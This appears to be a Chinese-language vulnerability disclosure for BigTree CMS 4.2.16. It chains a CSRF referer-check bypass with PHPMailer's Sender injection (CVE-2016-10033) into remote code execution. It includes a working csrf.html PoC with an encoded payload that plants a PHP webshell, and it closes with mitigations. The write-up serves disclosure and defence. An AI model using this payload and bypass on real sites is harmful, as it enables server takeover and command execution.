漏洞类型:跨站点请求伪造(CAPEC-62,CWE-352)

作者:[email protected]

供应商主页:https://www.bigtreecms.org/

软件链接:https://github.com/bigtreecms

版本:v.4.2.16

描述

PHPMailer RCE(CVE-2016-10033)

研究表明未经身份验证的远程攻击者可以使用的PHPMailer (版本<5.2.20)中的关键漏洞,以在Web服务器用户的context中实现远程任意代码执行,并远程破坏目标Web应用程序。

PHPMailer使用该Sender变量构建params字符串。然后PHPMailer::send()调用PHP本机函数mail()来执行/usr/bin/sendmail参数$this->Sender

根据我的分析,如果我们可以控制这个Sender值,我们可以sendmail将context(<?php phpinfo()?>)保存到任何给定的路径(/var/www/html/shell.php),这意味着代码执行。

BigTree CMS中的PHPMailer

BigTree CMS中就包含PHPMailer /core/inc/bigtree/utils.php

static function sendEmail($to,$subject,$html,$text = "",$from = false,$return = false,$cc = false,$bcc = false,$headers = array()) {
    $mailer = new PHPMailer;

    foreach ($headers as $key => $val) {
        $mailer->addCustomHeader($key,$val);
    }

    $mailer->Subject = $subject;
    if ($html) {
        $mailer->isHTML(true);
        $mailer->Body = $html;
        $mailer->AltBody = $text;
    } else {
        $mailer->Body = $text;
    }

    if (!$from) {
        $from = "no-reply@".(isset($_SERVER["HTTP_HOST"]) ? str_replace("www.","",$_SERVER["HTTP_HOST"]) : str_replace(array("http://www.","https://www.","http://","https://"),"",DOMAIN));
        $from_name = "BigTree CMS";
    } else {
        // Parse out from and reply-to names
        $from_name = false;
        $from = trim($from);
        if (strpos($from,"<") !== false && substr($from,-1,1) == ">") {
            $from_pieces = explode("<",$from);
            $from_name = trim($from_pieces[0]);
            $from = substr($from_pieces[1],0,-1);
        }
    }
    $mailer->From = $from;
    $mailer->FromName = $from_name;
    $mailer->Sender = $from;

设置Sender值的正确方法是使用安全方法$mailer->setForm(),但这里的$from函数直接传递到$mailer->Sender没有任何验证。

找到调用功能sendEmail()

/core/inc/bigtree/apis/email-service.php

function sendEmail($subject,$body,$to,$from_email = false,$from_name = false,$reply_to = false,$text = "") {
...
    if ($this->Service == "local") {
        return BigTree::sendEmail($to,$subject,$body,$text,($from_name ? "$from_name <$from_email>" : $from_email),$reply_to);
    }
...
}

查找此函数的调用。

/core/inc/bigtree/admin.php 第2526行

static function forgotPassword($email) {
    ...
$es = new BigTreeEmailService;

// Only use a custom email service if a from email has been set
    if ($es->Settings["bigtree_from"]) {
        $reply_to = "no-reply@".(isset($_SERVER["HTTP_HOST"]) ? str_replace("www.","",$_SERVER["HTTP_HOST"]) : str_replace(array("http://www.","https://www.","http://","https://"),"",DOMAIN));
        $es->sendEmail("Reset Your Password",$html,$user["email"],$es->Settings["bigtree_from"],"BigTree CMS",$reply_to);
    }
    ...
}

$es->Settings["bigtree_from"]如何管理值

/core/admin/modules/developer/email/update.php 第16行

...
$settings["settings"]["bigtree_from"] = $_POST["bigtree_from"];

$admin->updateSettingValue("bigtree-internal-email-service",$settings);
...

现在路线很清楚了:

$_POST["bigtree_from"];– > $settings["settings"]["bigtree_from"]– > $es->Settings["bigtree_from"]– > $from_email– > $from– >$mailer->Sender

$_POST["bigtree_from"];由“Developer / Email Delivery”表单生成。

1

但不幸的是,它需要管理员权限,所以我必须看看CSRF是否在工作。

CSRF过滤器旁路

然后我找到了它的CSRF过滤器

/core/admin/modules/developer/_header.php 第3行

if (count($_POST)) {
    $clean_referer = str_replace(array("http://","https://"),"//",$_SERVER["HTTP_REFERER"]);
    $clean_admin_root = str_replace(array("http://","https://"),"//",ADMIN_ROOT)."developer/";

    // The referer MUST contain a URL from within the developer section to post to it.
    if (strpos($clean_referer,$clean_admin_root) === false) {
        die();
    }
}

它可以简单地绕过:

https://attacker_host/?url=http://target_host/admin/developer/

PoC EXPLOIT

具体过程分为以下四个步骤:

  1. 将csrf.html上传到其公共服务器,然后将CSRF探针发送给管理员。
  2. 管理员触发CSRF,发送POST请求以更新邮件设置。
  3. 从CMS请求邮件,使PHPMailer创建一个webshell。
  4. 使用webshell执行命令。

步骤1

CSRF探针

http://attacker_server/csrf.html?url=http://bigtreeCMS/admin/developer/

csrf.html

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://localhost/bigtree/BigTree-CMS/admin/developer/email/update/" method="POST">
      <input type="hidden" name="service" value="local" />
      <input type="hidden" name="bigtree&#95;from" value="&#63;php&#59;system&#40;&#36;&#95;GET&#91;&apos;a&apos;&#93;&#41;&#59;&#47;&#42;&#32;&#45;X&#47;var&#47;www&#47;html&#47;final&#46;php&#32;&#64;xxx" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

csrf.html中的有效载荷

?php;system($_GET['a']);/* -X/var/www/html/final.php @xxx

<>在后端被过滤,所以我/*用来评论以下文字)

第2步

2

步骤3

以“忘记密码”形式(未经授权)触发PHPMailer。

3

然后/var/www/html/final.php将使用PHP代码创建。

4

步骤4

使用webshell执行系统命令。

5

  1. 将PHPMailer更新到最新版本。
  2. 使用安全的方法“setFrom()”设置“Sender”的值。
  3. 加强CSRF保护。

 

*参考来源:cdxy

源链接

Hacking more

...